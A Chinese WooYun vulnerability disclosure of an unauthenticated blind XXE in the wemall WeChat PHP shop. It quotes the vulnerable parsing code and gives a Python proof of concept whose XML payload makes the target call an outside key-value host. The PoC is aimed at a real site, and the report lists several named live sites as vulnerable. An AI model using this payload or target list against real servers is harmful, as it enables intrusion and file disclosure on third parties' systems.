当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0135615

漏洞标题:wemall微信开源PHP商城系统一处blind xxe(无需登录,附POC)

相关厂商:www.inuoer.com

漏洞作者: 1c3z

提交时间:2015-08-22 11:44

修复时间:2015-10-06 11:44

公开时间:2015-10-06 11:44

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-22: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-10-06: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

xxe

详细说明:

测试版本wemall 3.3
下载地址 http://git.oschina.net/einsqing/wemall/repository/archive?ref=master 需要开源中国的账号

//Application\Lib\Action\Admin\WechatAction.class.php
<?php
class WechatAction extends Action {
public function init() {
import ( 'wechat', APP_PATH . 'Common', '.class.php' );
$config = M ( "Wxconfig" )->where ( array (
"id" => "1"
) )->find ();

$options = array (
'token' => $config ["token"], // 填写你设定的key
'encodingaeskey' => $config ["encodingaeskey"], // 填写加密用的EncodingAESKey
'appid' => $config ["appid"], // 填写高级调用功能的app id
'appsecret' => $config ["appsecret"], // 填写高级调用功能的密钥
);
$weObj = new Wechat ( $options );
return $weObj;
}
public function index() {
$weObj = $this->init ();
$weObj->valid ();
....剩下的省略


可以看到index函数中
$weObj为Wechat类的实例化
而Wechat类从import ( 'wechat', APP_PATH . 'Common', '.class.php' );导入的
也就是Application/Common/wechat.class.php
重点关注valid()函数

public function valid($return=false)
{
$encryptStr="";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$postStr = file_get_contents("php://input");
$array = (array)simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);
...省略


直接使用了simplexml_load_string函数
如何调用代码呢?
访问index.php?g=Admin&m=Wechat&a=index
如何利用参考: http://wooyun.org/bugs/wooyun-2010-098591
下面是poc代码:

#!/usr/bin/python
import urllib2
import random
import socket
socket.setdefaulttimeout(10)
def send_xml(url,data):
import requests
try:
requests.post(url,data)
except Exception, e:
print e
def poc(host):
url = 'http://' + host + '/index.php?g=Admin&m=Wechat&a=index'
key = "".join(random.sample('abcdefghijklmnopqrstuvwxyz', 6))
value = "".join(random.sample('abcdefghijklmnopqrstuvwxyz', 6))
data = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://pysandbox.sinaapp.com/kv?act=set&k={key}&v={value}">
%remote;]>
<root/>"""
data = data.replace('{key}', key).replace('{value}', value)
send_xml(url, data)
url = 'http://pysandbox.sinaapp.com/kv?act=get&k=' + key
res = urllib2.urlopen(url).read()
if value in res:
print "xxe"
poc('www.mybuy.so')


访问http://pysandbox.sinaapp.com/kv?act=set&k={key}&v={value} 可以在远程主机设置一个键值对
http://pysandbox.sinaapp.com/kv?act=get&k=刚刚的key 可以查看是否设置了这个键值对
商业版本也应该可以xxe
http://demo.inuoer.com/1/Admin/Wechat/index.html
但是demo有防火墙

漏洞证明:

下面是存在xxe的
http://www.dadodo.wang/index.php?g=Admin&m=Wechat&a=index
http://www.jxbar.com/index.php?g=Admin&m=Wechat&a=index
http://www.liushengjie.com/index.php?g=Admin&m=Wechat&a=index
http://www.wifi-xj.com/index.php?g=Admin&m=Wechat&a=index
http://www.tjguguai.net/index.php?g=Admin&m=Wechat&a=index
http://www.mallonline.com.cn/index.php?g=Admin&m=Wechat&a=index
http://www.mybuy.so/index.php?g=Admin&m=Wechat&a=index

修复方案:

http://wiki.wooyun.org/web:xxe-attack

版权声明:转载请注明来源 1c3z@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:15 (WooYun评价)